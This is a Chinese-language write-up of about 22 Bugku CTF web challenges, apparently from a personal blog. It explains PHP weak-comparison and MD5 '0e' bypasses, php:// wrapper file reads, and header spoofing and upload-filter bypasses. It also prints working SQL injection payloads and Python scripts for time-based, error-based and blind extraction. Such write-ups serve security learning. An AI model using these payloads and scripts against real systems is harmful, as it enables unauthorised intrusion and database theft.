文章目录
- **1.矛盾:**
- **2.变量1:**
- **3.管理员系统:**
- **4.你从哪里来:**
- **5.web4**
- **6.flag在index中**
- **7.备份是个好习惯**
- **8.学生成绩查询**
- **9.速度要快**
- **10.cookie欺骗**
- **11.never give up**
- **12.md5 collision(NUPT_CTF)//md5碰撞**
- **13.程序员本地访问**
- **14.各种绕过**
- **15.web8**
- **16.细心**
- **17.求getshell**
- **18.insert into**
- **19.多次**
- **20.PHP_encrypt_1(ISCCCTF)**
- **21.flag.php**
- **22.sql注入2**
- bugku的题很多都被玩坏了,进阶的大多数都是。。。。bugku(旧平台)就到此为止了
1.矛盾:
php是弱类型语言
而num==是弱类型比较
如果输入的不是纯的数字,他会把字母之前的数字保留下来
所以我们输入1‘
或者用%00截断
2.变量1:
args=GLOBALS
GLOBAS:超全局变量,然后var_dump打印出全部的变量的内容
3.管理员系统:
查看源代码:
发现最后有一个base64编码的“dGVzdDEyMw==”
解码后发现是test123,推断应该是密码
用burp抓包:
4.你从哪里来:
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
5.web4
查看源代码:
发现用url编码的数据,使用hackbar解码后:
eval(var1+var2+var3)将三个变量串起来,然后里面的函数的意思是将输入框输入的值传给a,然后判断a是不是等于那一串数据,如果等于的话就输出flag
6.flag在index中
该题考察了php伪协议
大佬的总结
本题用到的是
php://filter/read=convert.base64-encode/resource=index.php
7.备份是个好习惯
访问index.php.bak发现有备份文件
下载后打开
含义是要我们以get的方式传入key1和key2,而且key1与kye2 的md5值要相等,并且key1!=key2。而且传入的时候会把key给替换为空格。
对于替换空格我们可以用双写来绕过,而MD5则可以用传入数组的方式来绕过判断,或者==的漏洞
利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
转载于:这个链接
8.学生成绩查询
发现是post注入
burp抓包放入重放模块,然后构造payload
爆表名:
爆列名:
dump出数据:
9.速度要快
import re
import base64
url = 'http://123.206.31.85:10013/index.php'
s = requests.Session()
html = s.post(url,data={"password":"123123"})
test = html.headers
str1 = base64.b64decode(test['Password'])
res = re.findall(r"{(.*?)}",str(str1))
print(s.post(url,data={"password":str(res[0])}).text)
10.cookie欺骗
发现网址这里有个base64编码的
解码看看
将这个改成index.php看看
发现就个<?php,再仔细观察网址,发现前面有个line,发现将line修改为不同的值会返回不同的语句,写个脚本打印出来看看
import requests
for i in range(0,50):
url = 'http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
res = requests.get(url)
print(res.text)
发现要我们提交cookie,margin=margin就可以访问keys.php
但是我发现直接访问也可以访问,但是里面是空的,那么把keys.php base64一下,查看源代码成功获得flag
11.never give up
查看源代码发现有个网址,访问后发现被定向到了bugku,那么用burp抓包看看
burp抓包,发送到重放模块,然后发送,收到如图的回复
发现一个url编码的东西,用hackbar解码后,发现还是base64编码的,然后再解码,发现又是一个url编码的,然后解码得到代码
<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))#查找,在字符串中a第一次出现的位置
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');#把a中的内容读取到data中,file_get_contents() 函数把整个文件读入一个字符串中。
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>-->
可以看到它要求我们:
(1).用get的方式传入id,a,b三个数据
(2).id非空但要求值等于0
(3).b的长度要大于5并且第一个字符不能为4,但是又要求"111"substr($b,0,1)包含于"1114"中,因此substr($b,0,1)要么为空,要么为4
(4).a输入的数据不能含有.并且内容要为"bugku is a nice plateform!",然后是用file_get_contents函数来读取内容的,那么就要求a是一个文件
然后没有思路了
那就直接访问这个f4l2a3g.txt试试。。。。
然后看了一下大佬的write up
(1).对于id我们可以让di等于一串纯的字母,因为在==比较的时候等号右边的是一个数字,那么php就会把等号左边的转换为数字,而字母转换的效果就是0.(id==‘a’)
(2).eregi这个东西存在%00截断漏洞,因此我们让b=%0012345,而php对这个进行处理的时候会将%00翻译成一个字节,也就是所b的第一个字符就为%00,那么111%00是在1114中的
(3).a可以使用php伪协议:php://input=
查资料发现可以这样用($data = file_get_contents(“php://input”);)
这里有详细的讲解
(4).payload(?id=a&b=%0012345&a=php://input)然后a的数据用post的方式上传
妙啊
12.md5 collision(NUPT_CTF)//md5碰撞
打开网页发现啥也没有。。。没辙了,用dirsearch扫一下
然后我用postman,post一个数据,有了
后面发现直接在url后面加上?a=1也可以(我是个臭傻汁。。。。)
再看题目要我们碰撞?要碰撞的MD5值是啥啊?没说啊,后来看到网上的源代码。。。
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
转载于:详细解答
这个的本质还是使用弱类型比较,再加上QNKCDZO经过md5后是0e开头的,php以为这个是科学计数法就是0的多少次方,还是0,因此我们需要找一个MD5后为0e开头且后面几位全是数字的值。
import hashlib
import random
import requests
import re
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))#你要MD5的值
return m.hexdigest()#md5后的值
words='abcdefghijklmnopqrstuvwxyz0123456789'
str1 = ""
mark = "false!!!"
f = open('MD5.txt','a')
for i in range(0,100000):
for j in range(6,15):
while(len(str1)<j):
str1+=random.choice(words)
if(len(str1)>j):
str1 = ""
if(len(str1)==j):
f.write(str1+"\n")
f.close()
f = open("MD5.txt",'r')
for i in f:
if md5(i)[0:2]=="0e" and md5(i)[2:-1].isdigit():
print(i,md5(i))
url = "http://123.206.87.240:9009/md5.php?a="+i
re = requests.get(url)
if mark not in re.text:
print(re.text)
f.close()
本来想写个脚本来跑,但是没跑出来
问题(1).str1是randmo生成的不全面,并且没有去重
问题(2).写入文件后貌似发生了什么变化,MD5出来的于我在网上用MD5加密的值不一样
老老实实用这个大佬的大佬的详解
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
13.程序员本地访问
在http消息头中加上X-Forwarded-For:127.0.0.1即可
14.各种绕过
1.传入id要为margin
2.以get的方式传入username,以post的方式传入passwd
3.传入的username和passwd的sha1值要相等
4.username的值与passwd的值不相等
想到用数组的形式传入username和passwd,因为php加密对数组的处理有问题,只要是数组它输出的都是NULL,因此也就满足了相等的条件了。
flag好像被人删了。。。
15.web8
老套路了
file_get_contents($fn)->file_get_contents(php://input)
payload:http://123.206.87.240:8002/web8/?ac=1&fn=php://input
同时post 1
16.细心
dirsearch扫一波
访问robots.txt发现
访问这个网页
查看源代码:
应该是让我们传x的值登录
burp自带字典爆破。。。
得到flag
17.求getshell
这个地方一共有三个绕过的地方
1.请求头的content-type
2.请求数据的content-type
3.文件后缀
解题思路:
1.上传1.php文件,发现失败
2.上传jpg文件成功
3.上传jpg然后抓包修改后缀(php2, php3, php4, php5, phps, pht, phtm, phtml),发现php5可以上传,但文件还是jpg格式
4.看到请求头有个content-type
看大佬的writeup大小写绕过(mUltipart/form-data)
常用的content-type
绕过方法
18.insert into
题目给了一段源代码
分析是根据X-Forward-For传入的ip地址来输出我们的ip,并将ip插入到数据库中,这里我们就可以尝试insert into注入,但是我对于insert into这个位置的注入不太了解,查了下资料。。。
看了下大佬的write up:看这里
explode("",str1)函数:将str1按照前面的要求分割,并放入数组中,这里是按’,‘来分割也就是说我们没有办法传入带有,的语句,那么if(substr(*)=’*’,*,*)这种语句就不能用了
看了write up说if不能用还可以用另外一种:
select case when *** then *** else *** end;
而选择字符位置则可以用 from for代替这个真的太骚了。。
比如:
select database() from 1 for 2;就是从第一个开始选两个字符
select database() from 3 for 2; 就是从第三个开始选两个字符
可以看到 IP是被一对单引号包裹起来的,因此这是字符型的报错注入,要注意闭合单引号
然后一般的payload就是:
'or (select case when substr((select database()) from 1 for 1)='a' then sleep(1) else 1 end) or'
试了用#,–+,–,都不能屏蔽后面那个单引号,所以用 or ’ 的方法来闭合,前两个都是假,就看中间的了
大佬的脚本:
import requests
import string
mystring = string.ascii_letters+string.digits//没用过,tql,学习
url='http://123.206.87.240:8002/web15/'
data = "'or (select case when (substr((select flag from flag) from {0} for 1)='{1}') then sleep(1) else 1 end) or'" #这里的{}对应的是后面所需要的format
flag = ''
for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=1)//timeout参数好评
except requests.exceptions.ReadTimeout://try except好啊
flag += j
print (flag)
break
print ('The final flag:'+flag)
看看大佬的脚本,再看看自己的,我太菜了。。。。
19.多次
打开发现是个sql注入
尝试输入1‘,报错,输入1‘#报错,输入1’%23不报错,确定id被包裹在一对单引号中
输入1‘ and 1=1%23,报错
输入1’ && 1=1%23,报错(确定了and被过滤了。。。)
sqlmap level3跑一下:
倒是有注入点,但是不爆不出数据库名字。。。。
然后再接着绕过。。。。
输入 1’ aandnd 1=1%23发现回显正常,双写绕过可行
接着输入1‘ order by 1%23报错了。。。。(这太难受了)
输入1’ ororder by 1%23还是报错。。。。
查看网上的write up发现可以用异或查询来判断是否被过滤:
1'^(length('union')!=0)%23
因为是异或,所以全真或者全假为假,否则就为真,也就是说如果显示正常了,那么union的长度就为0,也就是被过滤了。
order真的是被过滤得死死的。。
直接union select 1,2,3…猜字段
发现字段为2,接下来爆数据库名字:
爆表名:
不输出,想起来or被过滤了的,妈的,双写 infoorrmation
爆列名:
出flag:
这不对啊。。。。
换个address看看:
出现了,下一关
发现这个有报错的回显,可以用报错注入,然后测试一下一般的方法,发现没有过滤 and,or,order by,但是union 和 select都被过滤了,
它说它有很好的waf,那么就试一下绕过waf的方法:
/!**/
/*!5000* /
/*!12345*/
/*!13337*/
都被过滤了,,,,还是用报错把。。。
1' and updatexml(1,concat(0x27,database(),0x27),1)%23
爆表名:
1' and updatexml(1,concat(0x23,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x23),1)%23
爆列名:
1' and updatexml(1,concat(0x23,(select group_concat(column_name)from information_schema.columns where table_name='flag2'),0x23),1)%23
flag:
1' and updatexml(1,concat(0x23,(select flag2 from flag2),0x23),1)%23
20.PHP_encrypt_1(ISCCCTF)
下载源代码看:
是一道解码题。
先分析题目:
1.可以看到key是被MD5加密的
2.利用for循环从key中按照顺序截取出与被加密的字符串长度一样的char出来
3.将密钥char与data逐位相加再mod128.
4.base64编码
解题思路:
1.先base64解码(解码后要用utf-8进行编码)
2.首先我们要明白一个道理:
((7+4)%3-4%3)%3=7%3
3.因此我们可以先将char算出来,然后用base64解码的密文去减去char,因为:
(str[i]%128-char[i]%128)=data[i]%128
3.因为ascii表最多就128个,也就是说data[i]%128=data[i],
所以我们就得到了flag,要是<128的话就不可能得到flag了
import hashlib;
import base64;
key1 = "729623334f0aa2784a1599fd374c120d"
str1 = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="
str1 = base64.b64decode(str1)
str1 = str1.decode("utf-8")
x = 0
key2=""
for i in range(0,len(str1)):
if(x==len(key1)):
x=0
key2 += key1[x]
x += 1
print(key2)
key3 = ""
for i in key2:
key3 += chr(ord(i)%128)
print(key3)
flag = ""
for i in range(0,len(key3)):
flag += chr((ord(str1[i])-ord(key3[i]))%128)
print(flag)
憨憨代码
21.flag.php
看了大哥些写得write up,发现就是用get传hint就可以看到源代码了
可以分析得:
我们要传入ISecer:******这种形式的cookie,而下面那个key是来迷惑我们的,毕竟编程语言还是从上到下一条一条执行的,所以在上面key应该没有定义。
这里是序列化与反序列化的详解
构造payload:ISecer=s:0:""%3b
有毒吧,为什么不跳转到flag,我醉了
22.sql注入2
不知道怎么绕过了,直接sqlmap --leve5拉满
然而没有卵用,还是跑不出来
用dirsearch扫一下
发现了.DS_Store这个东西,可能是泄露哦
然后用python_dsstore查看
发现了个flag,访问看看
这就出来了。。。。。
还是去看大佬的write up。。。。
毕竟是叫我们有sql注入
看网上大部分都是使用-0-或者-1-绕过,因为sql在处理字符串-数字时会把字符串转成数字为0.
可以看到是成立的,我的数据库名是mysql第一个字母是m,本来应该用from 1 for 1 但是for 被过滤了,而substr(*from 1)默认就是选取一个字符,同理mid以及substring也是一样的
大佬的代码:
转载于这里
#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
}
password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload = "admin'-(ascii(substr((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': '123'
}
r = requests.post(url=url,cookies=cookie,data=data)
if "username error!!@_@" in r.text:
password += j
print (password)
break
这个有个比较玄学的地方就是猜到了password的列名是passwd,而且不知道是怎么判断出来admin包裹在单引号中的,后面想了一下,是这样的?
还有一种方法异或注入:
0'^(ascii(substr(database()from ("*")))="*")^'
异或嘛,全0全1都出0,(ascii(substr(database()from ("")))=""),如果为真那么就为真了,如果为假就为假了